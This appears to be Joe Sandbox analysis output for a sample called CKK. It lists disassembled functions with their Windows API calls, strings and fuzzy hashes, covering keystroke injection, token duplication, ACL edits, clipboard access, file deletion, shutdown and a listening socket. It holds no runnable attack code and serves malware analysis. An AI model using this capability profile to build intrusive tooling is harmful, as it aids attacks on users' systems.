API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease
String ID: @GUI_DRAGID$F
API String ID: 3429851547-4164748364
Opcode ID: 207390fbc2afa9d37b4d86a273268d274532e745d3c894ec26b229bd99d8083e
Instruction ID: 83f987b614e6fe54f260cbb7dc2243208a20a142dd237f77decb72b277ddbf0a
Opcode Fuzzy Hash: 207390fbc2afa9d37b4d86a273268d274532e745d3c894ec26b229bd99d8083e
Instruction Fuzzy Hash: 0A42BE30204201AFDB24CF24DC44AAABBE5FF48754F14561EF6A9A73E2D731E856DB42

Uniqueness

Uniqueness Score: -1.00%

Function 00ED4873 Relevance: 60.1, APIs: 33, Strings: 1, Instructions: 566windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000408,00000000,00000000), ref: 00ED48F3
SendMessageW.USER32(00000000,00000188,00000000,00000000), ref: 00ED4908
SendMessageW.USER32(00000000,0000018A,00000000,00000000), ref: 00ED4927
SendMessageW.USER32(?,00000148,00000000,00000000), ref: 00ED494B
SendMessageW.USER32(00000000,00000147,00000000,00000000), ref: 00ED495C
SendMessageW.USER32(00000000,00000149,00000000,00000000), ref: 00ED497B
SendMessageW.USER32(00000000,0000130B,00000000,00000000), ref: 00ED49AE
SendMessageW.USER32(00000000,0000133C,00000000,?), ref: 00ED49D4
SendMessageW.USER32(00000000,0000110A,00000009,00000000), ref: 00ED4A0F
SendMessageW.USER32(00000000,0000113E,00000000,00000004), ref: 00ED4A56
SendMessageW.USER32(00000000,0000113E,00000000,00000004), ref: 00ED4A7E
IsMenu.USER32(?), ref: 00ED4A97
GetMenuItemInfoW.USER32 ref: 00ED4AF2
GetMenuItemInfoW.USER32 ref: 00ED4B20
GetWindowLongW.USER32(?,000000F0), ref: 00ED4B94
SendMessageW.USER32(?,0000113E,00000000,00000008), ref: 00ED4BE3
SendMessageW.USER32(00000000,00001001,00000000,?), ref: 00ED4C82
wsprintfW.USER32 ref: 00ED4CAE
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00ED4CC9
GetWindowTextW.USER32 ref: 00ED4CF1
SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 00ED4D13
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00ED4D33
GetWindowTextW.USER32 ref: 00ED4D5A

Strings

%d/%02d/%02d, xrefs: 00ED4CA8

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: MessageSend$MenuWindow$InfoItemText$Longwsprintf
String ID: %d/%02d/%02d
API String ID: 4054740463-328681919
Opcode ID: 3b25804efb54e6d3eaaec4c1197624506e067722043e7a6ea46d5104f9273e39
Instruction ID: af28778781d3a616326c1c04e9c506d6ba6460255e01d6a67b849e187d9d32d6
Opcode Fuzzy Hash: 3b25804efb54e6d3eaaec4c1197624506e067722043e7a6ea46d5104f9273e39
Instruction Fuzzy Hash: 331210B1600205AFEB248F25DC49FAE7BF8EF55714F10612AF915FA2E0DB749A42CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00E5F98E Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 130keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00E5F998
FindWindowW.USER32 ref: 00E9F474
IsIconic.USER32(00000000), ref: 00E9F47D
ShowWindow.USER32(00000000,00000009), ref: 00E9F48A
SetForegroundWindow.USER32(00000000), ref: 00E9F494
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00E9F4AA
GetCurrentThreadId.KERNEL32 ref: 00E9F4B1
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00E9F4BD
AttachThreadInput.USER32(?,00000000,00000001), ref: 00E9F4CE
AttachThreadInput.USER32(?,00000000,00000001), ref: 00E9F4D6
AttachThreadInput.USER32(00000000,000000FF,00000001), ref: 00E9F4DE
SetForegroundWindow.USER32(00000000), ref: 00E9F4E1
MapVirtualKeyW.USER32(00000012,00000000), ref: 00E9F4F6
keybd_event.USER32 ref: 00E9F501
MapVirtualKeyW.USER32(00000012,00000000), ref: 00E9F50B
keybd_event.USER32 ref: 00E9F510
MapVirtualKeyW.USER32(00000012,00000000), ref: 00E9F519
keybd_event.USER32 ref: 00E9F51E
MapVirtualKeyW.USER32(00000012,00000000), ref: 00E9F528
keybd_event.USER32 ref: 00E9F52D
SetForegroundWindow.USER32(00000000), ref: 00E9F530
AttachThreadInput.USER32(?,000000FF,00000000), ref: 00E9F557

Strings

Shell_TrayWnd, xrefs: 00E9F46F

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: 0a2872db900ce5d1f47576c6baab7ec1de3f53db25a3d59b38b6fcf1a03f6bf9
Instruction ID: 8803d0eaa2751f640cfc20a4312532d0f4300deff49733441a20a74cb8e1cef3
Opcode Fuzzy Hash: 0a2872db900ce5d1f47576c6baab7ec1de3f53db25a3d59b38b6fcf1a03f6bf9
Instruction Fuzzy Hash: 17315271A412197EEF206BB66C49FBF7F6CEB44B50F210066F601F61D1C6B09D00EA61

Uniqueness

Uniqueness Score: -1.00%

Function 00EA1201 Relevance: 38.7, APIs: 19, Strings: 3, Instructions: 241COMMON

Download Yara Rule

APIs

Part of subcall function 00EA16C3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00EA170D
Part of subcall function 00EA16C3: AdjustTokenPrivileges.ADVAPI32 ref: 00EA173A
Part of subcall function 00EA16C3: GetLastError.KERNEL32 ref: 00EA174A

LogonUserW.ADVAPI32(?,?,?,00000000,00000000,?), ref: 00EA1286
DuplicateTokenEx.ADVAPI32 ref: 00EA12A8
CloseHandle.KERNEL32(?), ref: 00EA12B9
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 00EA12D1
GetProcessWindowStation.USER32 ref: 00EA12EA
SetProcessWindowStation.USER32 ref: 00EA12F4
OpenDesktopW.USER32 ref: 00EA1310

Part of subcall function 00EA10BF: AdjustTokenPrivileges.ADVAPI32 ref: 00EA10D4
Part of subcall function 00EA10BF: CloseHandle.KERNEL32(?), ref: 00EA10E9

Strings

, xrefs: 00EA125A
winsta0, xrefs: 00EA12CC
default, xrefs: 00EA130B

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLogonLookupPrivilegeUserValue
String ID: $default$winsta0
API String ID: 22674027-1027155976
Opcode ID: d00d6f27f26a8c9b23e12ad573b01f74817b3aded94a0c088af92b7e3aa2f394
Instruction ID: 1ffcd77d93266806ec079102a4c1175759c1d8184a5dba7ae7ec07df65e83dc8
Opcode Fuzzy Hash: d00d6f27f26a8c9b23e12ad573b01f74817b3aded94a0c088af92b7e3aa2f394
Instruction Fuzzy Hash: 72819E71900209AFDF119FA9DC49FEE7BB9EF0D744F1451AAF920BA1A0C774A944CB21

Uniqueness

Uniqueness Score: -1.00%

Function 00EA0B62 Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00EA10F9: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00EA1114
Part of subcall function 00EA10F9: GetLastError.KERNEL32 ref: 00EA1120
Part of subcall function 00EA10F9: GetProcessHeap.KERNEL32 ref: 00EA112F
Part of subcall function 00EA10F9: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00EA0B9B,?,?,?), ref: 00EA1136
Part of subcall function 00EA10F9: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00EA114D

GetSecurityDescriptorDacl.ADVAPI32 ref: 00EA0BCC
GetAclInformation.ADVAPI32 ref: 00EA0C00
GetLengthSid.ADVAPI32(?), ref: 00EA0C17
GetAce.ADVAPI32 ref: 00EA0C51
AddAce.ADVAPI32 ref: 00EA0C6D
GetLengthSid.ADVAPI32(?), ref: 00EA0C84
GetProcessHeap.KERNEL32 ref: 00EA0C8C
HeapAlloc.KERNEL32(00000000), ref: 00EA0C93
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00EA0CB4
CopySid.ADVAPI32 ref: 00EA0CBB
AddAce.ADVAPI32 ref: 00EA0CEA
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00EA0D0C
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00EA0D1E
GetProcessHeap.KERNEL32 ref: 00EA0D45
HeapFree.KERNEL32(00000000), ref: 00EA0D4C
GetProcessHeap.KERNEL32 ref: 00EA0D55
HeapFree.KERNEL32(00000000), ref: 00EA0D5C
GetProcessHeap.KERNEL32 ref: 00EA0D65
HeapFree.KERNEL32(00000000), ref: 00EA0D6C
GetProcessHeap.KERNEL32 ref: 00EA0D78
HeapFree.KERNEL32(00000000), ref: 00EA0D7F

Part of subcall function 00EA1193: GetProcessHeap.KERNEL32 ref: 00EA11A1
Part of subcall function 00EA1193: HeapAlloc.KERNEL32(00000000,?,00000000,?,00EA0BB1,?), ref: 00EA11A8
Part of subcall function 00EA1193: InitializeSecurityDescriptor.ADVAPI32 ref: 00EA11B7

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 4175595110-0
Opcode ID: c98619d79d091faf9cbd5fdfdc4bb88a39fed2139c1c67d2345f19e7bdbf72ed
Instruction ID: 25e20835a46eee071662b84aedb00990ef1781747f0852107cf4265c5fec66fa
Opcode Fuzzy Hash: c98619d79d091faf9cbd5fdfdc4bb88a39fed2139c1c67d2345f19e7bdbf72ed
Instruction Fuzzy Hash: 22719C7290121AAFDF10DFA5EC44BAEBBB8FF09354F144115E914BB190D771A909CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00EBEAFF Relevance: 30.2, APIs: 20, Instructions: 191clipboardfileCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(00EDCC08), ref: 00EBEB29
IsClipboardFormatAvailable.USER32(0000000D), ref: 00EBEB37
GetClipboardData.USER32 ref: 00EBEB43
CloseClipboard.USER32 ref: 00EBEB4F
GlobalLock.KERNEL32 ref: 00EBEB87
CloseClipboard.USER32 ref: 00EBEB91
GlobalUnlock.KERNEL32(00000000,00000000), ref: 00EBEBBC
IsClipboardFormatAvailable.USER32(00000001), ref: 00EBEBC9
GetClipboardData.USER32 ref: 00EBEBD1
GlobalLock.KERNEL32 ref: 00EBEBE2
GlobalUnlock.KERNEL32(00000000,?), ref: 00EBEC22
IsClipboardFormatAvailable.USER32(0000000F), ref: 00EBEC38
GetClipboardData.USER32 ref: 00EBEC44
GlobalLock.KERNEL32 ref: 00EBEC55
DragQueryFileW.SHELL32(00000000,000000FF,00000000,00000000), ref: 00EBEC77
DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 00EBEC94
DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 00EBECD2
GlobalUnlock.KERNEL32(00000000,?,?), ref: 00EBECF3
CountClipboardFormats.USER32 ref: 00EBED14
CloseClipboard.USER32 ref: 00EBED59

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Clipboard$Global$AvailableCloseDataDragFileFormatLockQueryUnlock$CountFormatsOpen
String ID:
API String ID: 420908878-0
Opcode ID: 0c43b91d3ca4a845b6720699581d11eeb391d04392496613a8ef1d79bb202de7
Instruction ID: 930d26ced6e287c3c7b785a65c0e80cb59d0be1a2a3ce3195e79de56f8d9d516
Opcode Fuzzy Hash: 0c43b91d3ca4a845b6720699581d11eeb391d04392496613a8ef1d79bb202de7
Instruction Fuzzy Hash: D461A0352042029FD310EF25E885FABB7E8EF84758F14651AF456B72A2CB71DD09CB62

Uniqueness

Uniqueness Score: -1.00%

Function 00EB698F Relevance: 21.4, APIs: 7, Strings: 5, Instructions: 363timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00EB69BE
FindClose.KERNEL32(00000000), ref: 00EB6A12
FileTimeToLocalFileTime.KERNEL32 ref: 00EB6A4E
FileTimeToLocalFileTime.KERNEL32 ref: 00EB6A75

Part of subcall function 00E49CB3: _wcslen.LIBCMT ref: 00E49CBD

FileTimeToSystemTime.KERNEL32(?,?), ref: 00EB6AB2
FileTimeToSystemTime.KERNEL32(?,?), ref: 00EB6ADF

Strings

%02d, xrefs: 00EB6C00, 00EB6C0A, 00EB6C5A, 00EB6CAA, 00EB6CFA, 00EB6D4A
%4d%02d%02d%02d%02d%02d, xrefs: 00EB6B6A
%03d, xrefs: 00EB6DA2
%4d%02d%02d%02d%02d%02d%03d, xrefs: 00EB6B32
%4d, xrefs: 00EB6BB1

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Time$File$FindLocalSystem$CloseFirst_wcslen
String ID: %02d$%03d$%4d$%4d%02d%02d%02d%02d%02d$%4d%02d%02d%02d%02d%02d%03d
API String ID: 3830820486-3289030164
Opcode ID: cb82f0b20df9ab2a6d69cac5f7e861d4ab3a9a3de641bb088c79f84dff4de4b6
Instruction ID: 7207e7a5f80b42f7a5d6624915460cff32c8031bddc64e36fb570d1e61b40e8b
Opcode Fuzzy Hash: cb82f0b20df9ab2a6d69cac5f7e861d4ab3a9a3de641bb088c79f84dff4de4b6
Instruction Fuzzy Hash: 77D14271508300AFC714EBA4D891EAFB7ECAF88704F44591DF585E7192EB78DA48CB62

Uniqueness

Uniqueness Score: -1.00%

Function 00EB9642 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 118fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00EB9663
GetFileAttributesW.KERNEL32 ref: 00EB96A1
SetFileAttributesW.KERNEL32 ref: 00EB96BB
FindNextFileW.KERNEL32(00000000,?), ref: 00EB96D3
FindClose.KERNEL32(00000000), ref: 00EB96DE
FindFirstFileW.KERNEL32(*.*,?), ref: 00EB96FA
SetCurrentDirectoryW.KERNEL32 ref: 00EB974A
SetCurrentDirectoryW.KERNEL32 ref: 00EB9768
FindNextFileW.KERNEL32(00000000,00000010), ref: 00EB9772
FindClose.KERNEL32(00000000), ref: 00EB977F
FindClose.KERNEL32(00000000), ref: 00EB978F

Strings

*.*, xrefs: 00EB96F5

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1409584000-438819550
Opcode ID: c5368aac009b2882671d91a76362d834c48f6f1c1e0d66220677198b6e9d288d
Instruction ID: 477f0aeabb417e520eca6b65039dc6e0fe1a440efb38c0746422e3dfc3f58c3c
Opcode Fuzzy Hash: c5368aac009b2882671d91a76362d834c48f6f1c1e0d66220677198b6e9d288d
Instruction Fuzzy Hash: 3F31D07264161A6ECB20AFB5EC48ADF77ECDF49364F205157FA04F21A1EB34D944CA50

Uniqueness

Uniqueness Score: -1.00%

Function 00EB979D Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00EB97BE
FindNextFileW.KERNEL32(00000000,?), ref: 00EB9819
FindClose.KERNEL32(00000000), ref: 00EB9824
FindFirstFileW.KERNEL32(*.*,?), ref: 00EB9840
SetCurrentDirectoryW.KERNEL32 ref: 00EB9890
SetCurrentDirectoryW.KERNEL32 ref: 00EB98AE
FindNextFileW.KERNEL32(00000000,00000010), ref: 00EB98B8
FindClose.KERNEL32(00000000), ref: 00EB98C5
FindClose.KERNEL32(00000000), ref: 00EB98D5

Part of subcall function 00EADAE5: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 00EADB00

Strings

*.*, xrefs: 00EB983B

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Find$File$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 2640511053-438819550
Opcode ID: c2363b867b95f64ad2523ae09c5c1e8bf9863d396c5430e6cc840b6667743050
Instruction ID: ed3aba3130f830c6eb02f0d6be297807dbd4a13ef59cc3e153c186fa3e1e084a
Opcode Fuzzy Hash: c2363b867b95f64ad2523ae09c5c1e8bf9863d396c5430e6cc840b6667743050
Instruction Fuzzy Hash: 7A31F27254161A6EDB24AFB4EC48ADF77BCDF0A364F205166EA00F20A1DB30D948DB60

Uniqueness

Uniqueness Score: -1.00%

Function 00EAD076 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 172fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00E43AA2: GetFullPathNameW.KERNEL32 ref: 00E43AC2

Part of subcall function 00EAE199: GetFileAttributesW.KERNEL32 ref: 00EAE19A

FindFirstFileW.KERNEL32(?,?), ref: 00EAD122
DeleteFileW.KERNEL32 ref: 00EAD1DD
MoveFileW.KERNEL32 ref: 00EAD1F0
DeleteFileW.KERNEL32 ref: 00EAD20D
FindNextFileW.KERNEL32(00000000,00000010), ref: 00EAD237

Part of subcall function 00EAD29C: CopyFileExW.KERNEL32(?,?,00000000,00000000,00000000,00000008), ref: 00EAD2B2

FindClose.KERNEL32(00000000), ref: 00EAD253
FindClose.KERNEL32(00000000), ref: 00EAD264

Strings

\*.*, xrefs: 00EAD0CD, 00EAD0D6, 00EAD0EB

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: File$Find$CloseDelete$AttributesCopyFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 1946585618-1173974218
Opcode ID: ba7fc205b6547c51bcca324981bf54fa493701e81ee7fb1aaf12a549e0988d97
Instruction ID: 3cd9308bcbdbfe248c167277da91c0cb89bb5cad4f5cc9fd2ce2f6ef014fa0b8
Opcode Fuzzy Hash: ba7fc205b6547c51bcca324981bf54fa493701e81ee7fb1aaf12a549e0988d97
Instruction Fuzzy Hash: CB615D31C0610D9ECF05EBE0ED92AEDB7B5AF5A304F245165E4027B1A2EB346F09DB60

Uniqueness

Uniqueness Score: -1.00%

Function 00EBED6A Relevance: 13.6, APIs: 9, Instructions: 102clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00EBED91
EmptyClipboard.USER32 ref: 00EBED97
GlobalAlloc.KERNEL32 ref: 00EBEDAC
CloseClipboard.USER32 ref: 00EBEEA3

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: 9da623f1393b692299d7c3dbe53b0839800dcf5bfdb2a2f781dc11aca17ffbd1
Instruction ID: ded7399f6d92ae488658a5e73f8b543b15343829dab0b48a17c384bb6301141e
Opcode Fuzzy Hash: 9da623f1393b692299d7c3dbe53b0839800dcf5bfdb2a2f781dc11aca17ffbd1
Instruction Fuzzy Hash: 4D41EF30205612AFD310CF26E888B9ABBE5FF44358F24E099E425AB762C775EC41CBC0

Uniqueness

Uniqueness Score: -1.00%

Function 00EAE8F6 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 57shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 00EA16C3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00EA170D
Part of subcall function 00EA16C3: AdjustTokenPrivileges.ADVAPI32 ref: 00EA173A
Part of subcall function 00EA16C3: GetLastError.KERNEL32 ref: 00EA174A

ExitWindowsEx.USER32(?,00000000), ref: 00EAE932

Strings

, xrefs: 00EAE95C
@, xrefs: 00EAE925
, xrefs: 00EAE920
SeShutdownPrivilege, xrefs: 00EAE902

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $ $@$SeShutdownPrivilege
API String ID: 2234035333-3163812486
Opcode ID: 4975ece6f32a3a6b1fd7ed23b818f19019c737d1c82475be0533af2deec58a2f
Instruction ID: e61f3434aae2fd4143754d1ed7b0e95a82bbdbdb8e4d2e9138c538f8ecc64f9c
Opcode Fuzzy Hash: 4975ece6f32a3a6b1fd7ed23b818f19019c737d1c82475be0533af2deec58a2f
Instruction Fuzzy Hash: 0C012632610311AFEB1422B9AC86BFB729C9B4E784F2464A2FC02FA2D1D5A07C4481A0

Uniqueness

Uniqueness Score: -1.00%

Function 00EC1204 Relevance: 12.1, APIs: 8, Instructions: 113networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 00EC1276
WSAGetLastError.WSOCK32 ref: 00EC1283
bind.WSOCK32(00000000,?,00000010), ref: 00EC12BA
WSAGetLastError.WSOCK32 ref: 00EC12C5
closesocket.WSOCK32(00000000), ref: 00EC12F4
listen.WSOCK32(00000000,00000005), ref: 00EC1303
WSAGetLastError.WSOCK32 ref: 00EC130D
closesocket.WSOCK32(00000000), ref: 00EC133C

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: ErrorLast$closesocket$bindlistensocket
String ID:
API String ID: 540024437-0
Opcode ID: 9d5f819410692149e0ad9b1c110e98181f675e73a8dff4899b2d38919c886681
Instruction ID: dd0dee481eea1b26f553316639560b5a868a9ee7da30f535b43d184769e20fce
Opcode Fuzzy Hash: 9d5f819410692149e0ad9b1c110e98181f675e73a8dff4899b2d38919c886681
Instruction Fuzzy Hash: A041A0356001419FD714DF24D584F29BBE5EF46318F28918DD856AF2A3C732EC86DBA1

Uniqueness

Uniqueness Score: -1.00%

